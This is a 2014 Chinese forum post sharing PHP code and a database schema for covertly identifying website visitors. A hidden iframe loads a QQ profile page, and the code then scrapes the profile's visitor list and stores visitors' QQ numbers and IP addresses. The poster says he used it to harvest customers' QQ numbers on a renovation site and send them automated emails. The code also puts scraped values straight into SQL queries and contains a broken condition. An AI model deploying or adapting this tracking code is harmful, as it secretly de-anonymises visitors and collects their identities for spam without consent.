|
本帖最后由 天中人才市场 于 2014-2-24 17:20 编辑
- function qqcode()
- {
- global $cfg, $db;
- echo "<iframe style="display:none;" src="http://meishi.qq.com/profiles/2728182574"></iframe>";
- $url = "http://meishi.qq.com/profiles/2728182574";
- if (!($contents = file_get_contents($url))) {
- exit;
- }
- $ip = getip();
- $pattern_qq = '/<img.*qzone\/(|\')(.+)\/\1.*>/U';
- //<li><a href="/profiles/1532677"><img src="http://qlogo2.store.qq.com/qzone/1532677/1532677/50" alt="飞鱼">飞鱼</a></li>
- if (preg_match_all($pattern_qq, $contents, $quote)) {
- foreach ($quote[2] as $qq)
- if ($qq !== '2728182574' && '1532677' && '2147483647') {
- $qqhao = $db->get_one("select qq_hao from {$cfg['tb_pre']}qq where qq_hao=$qq LIMIT 0 , 1");
- if (!$qqhao) {
- $db->query("INSERT INTO {$cfg['tb_pre']}qq (`qq_id`,`qq_hao`, `qq_adddate`,`qq_ip`) VALUES (NULL,'{$qq}',NOW(),'$ip')");
- }
-
- }
- }
- }
复制代码
实际很简单的原理。http://meishi.qq.com/profiles/2728182574 是美食QQ列表。实际QQ空间也可以。大家可以常识一下。
只供学习。后果自负哈哈。实际没什么后果。后来我研究出来以后。腾讯貌似注意了。加了防刷新。如果IP大的情况会 提示不纯在返回首页状态。后来除了新版的也就是Q空间获取。
这个其实后来发现觉得用处不大。用在了装修网的上面。获取了客户的QQ。自动发送邮件之类的。
下面是数据库表结构
- CREATE TABLE `job_qq` (
- `qq_id` int(10) unsigned NOT NULL auto_increment,
- `qq_hao` int(12) NOT NULL default '11',
- `qq_adddate` datetime NOT NULL default '0000-00-00 00:00:00',
- `qq_ip` varchar(120) NOT NULL,
- PRIMARY KEY (`qq_id`)
- ) ENGINE=MyISAM AUTO_INCREMENT=15116 DEFAULT CHARSET=gb2312
复制代码
|
|